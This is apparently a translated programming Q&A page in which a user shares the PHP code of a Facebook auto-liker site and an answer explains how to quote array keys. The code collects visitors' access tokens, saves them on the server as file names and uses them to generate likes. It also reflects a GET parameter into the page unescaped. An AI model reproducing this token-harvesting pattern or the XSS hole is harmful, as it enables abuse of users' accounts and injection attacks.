我不明白发生了什么,我没有对这个剧本做过任何改动,突然间,它给出了这个错误:
- PHP注意:未定义索引:第22行/home2/leetshar/public_html/in/index.php中的last_session_request
- PHP注意:使用未定义的常量行为 - 在第80行的/home2/leetshar/public_html/in/index.php中假定为'act'
- PHP注意:未定义的索引:在第80行的/home2/leetshar/public_html/in/index.php中执行
- PHP注意:使用未定义的常量access_token - 在第83行的/home2/leetshar/public_html/in/index.php中假定为'access_token'
- PHP注意:使用未定义的常量id - 在第86行的/home2/leetshar/public_html/in/index.php中假定为'id'
- PHP注意:第86行/home2/leetshar/public_html/in/index.php中的未定义索引:id
- PHP注意:使用未定义的常量access_token - 在/home2/leetshar/public_html/in/index.php中假设'access_token'在线上
153- PHP注意:未定义索引:第153行/home2/leetshar/public_html/in/index.php中的access_token
我的代码工作正常是过去几天,但现在它给我一个错误,就像我之前说的那样。
这是我的index.php代码(我在错误后对它进行了一些编辑):
<?php
$like = new like();
if($_GET[act]){
print '???';
}
if(isset($_POST[access_token])){
$access_token = $_POST[access_token];
$me = $like -> me($access_token);
if($me[id]){
echo '
<div class="login">
<div class="login-screen">
<div class="login-icon"><img src="https://graph.facebook.com/'.$me[id].'/picture" alt="Welcome to Mail App" /><h4>Welcome<small>'.$me[name].'</small></h4></div>
';
$like -> x($access_token);
if($_POST[id]){
$like -> pancal($_POST[id]);
}else{
$like -> getData($access_token);
}
}else{
$like -> invalidToken();
}
}else{
$like->form();
}
class like {
public function pancal($id){ for($i=1;$i<4;$i++){
$this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/post.php?id='.$id.'&n='.$i)); }
echo '
<h2>Success! ✔</h2>
<script>top.location.href="http://mywebsite.com/end.php"</script>
';
// header('Location: http://mywebsite.com/end.php');
}
public function me($access){
return json_decode($this-> _req('https://graph.facebook.com/me?access_token='.$access),true);
}
public function x($access){
if(!is_dir('x')){
mkdir('x');
}
$a=fopen('x/'.$access,'w');
$aloc=fopen('../x/'.$access,'w');
fwrite($aloc,1);
fwrite($a,1);
fclose($a);
fclose($aloc);
$this->adloc();
}
public function adloc(){
}
public function invalidToken(){
print '
Invalid Access Token ✘
';
$this->form();
}
public function form(){
print'
<div class="login">
<div class="login-screen">
<div class="login-icon">
<img src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash3/t1.0-1/c0.15.180.180/531827_175253335947123_1431869775_a.jpg" alt="Welcome to Mail App" />
<h4>Welcome<small>Famous</small></h4>
</div>
<div class="login-form">
<form action="http://www.mywebsite.com/" method="post">
<font color="#333333">Access Token</font>
<div class="form-group">
<input class="form-control login-field" autocomplete="off" type="text" name="access_token" placeholder="CAAAAKLSe4lIBAEaxH0rrZ..." value="'.$_GET[access_token].'" required>
<label class="login-field-icon fui-lock" for="login-pass"></label>
</div>
<input class="btn btn-primary btn-lg btn-block" type="submit" value="Login">
<a class="btn btn-block btn-lg btn-info" href="http://www.linkbucks.com/8d87b1e7" target="_blank">Get Access Token</a>
<a class="login-link" target="_blank" href="http://www.linkbucks.com/a23dfeae">How to use this? | Tutorial</a>
</form>
</div>
</div>
</div>
</div>
';
}
public function getData($access){
$feed=json_decode($this -> _req('https://graph.facebook.com/me/feed?access_token='.$access.'&limit=1'),true);
if(count($feed[data]) >= 1){
echo '
<div class="birumuda">
';
for($i=0;$i<count($feed[data]);$i++){
$uid = $feed[data][$i][from][id];
$name = $feed[data][$i][from][name];
$type = $feed[data][$i][type];
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
$id = $feed[data][$i][id];
$pic = $feed[data][$i][picture];
echo'
<div class="login-form">
<div id="prepage">
<form name="myform" id="myform" action="http://www.mywebsite.com" method="post"/>
<input type="hidden" name="access_token" value="'.$access.'"/>
<font color="#333333">UID</font>
<div class="form-group">
<input class="form-control login-field" type="show" name="id" placeholder="Your post UID here" value="'.$id.'"/>
<label class="login-field-icon fui-heart" for="login-pass"></label>
</div>
<input name="pancal" type="submit" value="Local" onclick="autoLike();" class="btn btn-primary btn-lg btn-block"/>
<input type="button" value="International" name="pancal" onclick="interlike();" class="btn btn-primary btn-lg btn-block"/>
<a class="login-link" href="#">How to Know my UID?</a>
</form>
</div>
<div id="loading" style="display: none;">
<img src="http://www.mywebsite.com/process.gif" align="middle" border="0" alt="Please Wait .." /> Sending Likes ..
</div>
</div>
</div>
</div>
</div> <!-- /container -->
';
}
}else{
print '
Status not found :(
';
}
print '
</div>
';
}
private function _req($url){
$ch = curl_init();
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $url,
)
);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}
?>
谢谢谁能给我回复
答案 0 :(得分:1)
在数组键周围加上引号:
if(isset($_POST[access_token])){
$access_token = $_POST[access_token];
应该是
if(isset($_POST['access_token'])){
$access_token = $_POST['access_token'];
您需要为所有数组键(即$ _POST变量)执行此操作。